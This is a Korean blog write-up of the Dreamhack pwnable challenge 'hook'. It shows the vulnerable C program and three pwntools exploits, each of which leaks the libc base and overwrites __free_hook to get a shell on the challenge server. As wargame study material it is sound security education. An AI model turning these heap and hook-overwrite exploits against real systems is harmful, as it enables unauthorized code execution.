Dreamhack | hook
Dreamhack-Pwnable hook
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
문제 풀이
이번 문제도 Full RELRO로 인해서 Now binding, 프로그램이 실행될 때 해당 프로그램에서 사용되는 함수들의 주소를 읽어와 GOT 영역에 저장하기에, GOT Overwrite가 불가능하다. 또한, Canary가 있기에 leak이 가능할 지 확인을 해야한다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
-
처음에
stdout의 메모리 주소를 출력해주는 것으로 보아 해당 값을 통해서 libc_base 주소를 찾으면 될 것으로 예상된다. -
size를 입력받아 그 만큼의 크기를ptr에 할당해준다.
stdout라는 함수는_IO_2_1_stdout_라는 이름을 가지고 있기에 libc_base를 구할 때 해당 이름으로 구해야 한다.
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
-
할당받은
ptr에 입력받은size만큼 read()가 가능하다. -
**ptr에는 [ptr+1] 즉, ptr+0x8의 값이 들어가있다.(하지만, 어떻게 작용이 되는지 이해를 하지 못했다.)
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
-
free(ptr)를 두 번하여 double free detected로 프로그램이 강제 종료된다.하지만, 실질적으로는*(long *)*ptr = *(ptr+1);에서 segmetation fault로 프로그램이 종료된다.
-
따라서,
system("/bin/sh");를 실행하지 못한다. -
free()함수에는 __free_hook이 있기에 Hook overwrite가 가능할 것이다.
1st. Exploit
from pwn import *
p = remote('host3.dreamhack.games', 14260)
# p = process('./hook')
e = ELF('./hook')
libc = ELF('./libc.so.6')
p.recvuntil('stdout: ')
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
og = libc_base + one_gadget[1]
payload = p64(free_hook) + p64(og)
p.sendlineafter('Size: ', '500') # any values
p.sendlineafter('Data: ', payload)
p.interactive()
2nd. Exploit
소스코드를 보면 system("/bin/sh");이 존재한다. 그리고 *(long *)*ptr = *(ptr+1); 입력받은 값에 대해 다음 Byte를 저장하는 로직도 존재한다.
그렇다면, system을 호출하는 이전 메모리의 값을 넣고 전달한다면 이 다음의 메모리를 가져오기에 system 호출이 가능하다.
ptr에는 0x400a11의 주소가 들어가 이후에는 해당 메모리부터 순회하기에 0x400a16로 인한 System Call이 이루어진다.
from pwn import *
p = remote('host3.dreamhack.games', 14260)
# p = process('./hook')
e = ELF('./hook')
libc = ELF('./libc.so.6')
p.recvuntil('stdout: ')
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
system = 0x400a11
payload = p64(free_hook) + p64(system)
p.sendlineafter('Size: ', '500') # any values
p.sendlineafter('Data: ', payload)
p.interactive()
3rd. Exploit
이번 방법은 free(ptr)가 두 번 있기에 double free detected in tcache 2 같은 영역 두 번 초기화에 대한 에러를 우회하는 방법이다.
단순히 free()함수를 실행하지 못하게 혹은 다른 함수로 대체하여 가장 마지막에 위하고 있는 system("/bin/sh")이 가능하게 하는 방법이다.
단순하게 free() 함수를 __free_hook을 통해 변환하기 가장 좋은 방법은 put 함수다. free 함수와 마찬가지로 인자가 하나만 필요하기에 put을 Hook Overwriting 하면 문제를 쉽게 풀 수 있다.
from pwn import *
def log(a, b): return success(': '.join([a, hex(b)]))
p = process('./hook')
e = ELF('./hook')
libc = ELF('./libc.so.6')
puts_plt = e.plt['puts']
p.recvuntil('stdout: ')
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
payload = p64(free_hook) + p64(puts_plt)
p.sendlineafter('Size: ', '500')
p.sendlineafter('Data: ', payload)
p.interactive()